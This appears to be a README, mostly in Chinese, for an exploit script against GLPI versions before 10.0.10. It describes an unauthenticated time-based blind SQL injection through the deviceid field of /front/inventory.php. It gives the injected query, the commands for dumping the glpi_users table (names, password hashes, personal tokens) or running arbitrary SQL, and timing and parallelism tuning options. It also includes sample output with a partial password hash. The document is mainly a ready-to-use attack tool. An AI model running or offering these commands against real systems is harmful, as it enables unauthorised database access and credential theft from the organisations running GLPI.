GLPI 版本 < 10.0.10 暴露了一个未认证的 XML 资产清单端点：/front/inventory.php。
<deviceid> 字段未经清理直接拼接到 SQL 查询中：
SELECT id FROM glpi_agents WHERE deviceid = '<INJECT>'
无需认证即可利用。该漏洞允许通过盲 SQL 注入获得完整的数据库读取权限。
此脚本使用基于时间的盲注入结合二分搜索来提取数据，速度明显快于通用工具。
pip install -r requirements.txt
# Dump the full glpi_users table (name, password hash, personal_token)
python3 exploit.py http://<TARGET>/glpi
# Custom SQL query
python3 exploit.py http://<TARGET>/glpi --query "SELECT @@version"
# Tune timing (lower sleep = faster, increase if you get wrong results)
python3 exploit.py http://<TARGET>/glpi --sleep 0.3
# Increase parallel request cap (default 2, raise on high-latency remote targets)
python3 exploit.py http://<TARGET>/glpi --parallel 4
[*] CVE-2023-36808 - GLPI Unauthenticated SQLi
[*] Target : http://10.0.0.1/glpi/front/inventory.php
[*] Sleep : 0.5s Threshold: 0.35s Parallel: 2
[+] Target reachable
[+] Injection confirmed
[*] User 1/7
name glpi
password $2y$10$xN.12pQxSLlQdMJzP26EWe...
personal_token xxxx
...